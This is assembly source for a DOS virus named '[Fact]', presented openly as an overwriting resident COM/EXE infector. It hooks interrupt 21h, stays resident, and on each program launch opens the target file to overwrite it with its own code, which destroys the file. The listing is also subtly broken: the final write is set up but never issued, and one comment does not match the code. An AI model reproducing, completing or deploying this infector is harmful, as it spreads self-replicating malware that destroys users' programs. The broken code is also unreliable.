Source Code for an Overwriting Resident COM/EXE Infector

.model tiny
.code
 org   100h
code_begin:
         mov     ax,3521h         ; Get interrupt vector 21h
         int     21h
         mov     word ptr [int21_addr],bx
         mov     word ptr [Int21_addr+02h],es
         mov     ah,25h         ; Set interrupt vector 21h
         lea     dx,int21_virus     ; DX = offset of int21_virus
         int     21h
         xchg    ax,dx         ; DX = number of bytes to keep res...
         int     27h         ; Terminate and stay resident!
int21_virus  proc    near         ; Interrupt 21h of Fact
         cmp     ah,4bh         ; Load and/or execute program?
         jne     int21_exit      ; Not equal? Jump to int21_exit
         mov     ax,3d01h         ; Open file (write)
         int     21h
         xchg    ax,bx         ; BX = file handle
         push    cs          ; Save CS at stack
         pop     ds          ; Load DS from stack (CS)
         mov     ah,40h         ; Write to file
         mov     cx,(code_end-code_begin)
         lea     dx,code_begin     ; DX = offset of code_begin
int21_exit:
         db      0eah         ; JMP imm32 (opcode 0eah)
code_end:
int21_addr   dd      ?             ; Address of interrupt 21h
virus_name   db      '[Fact]'            ; Name of the virus
         endp
end         code_begin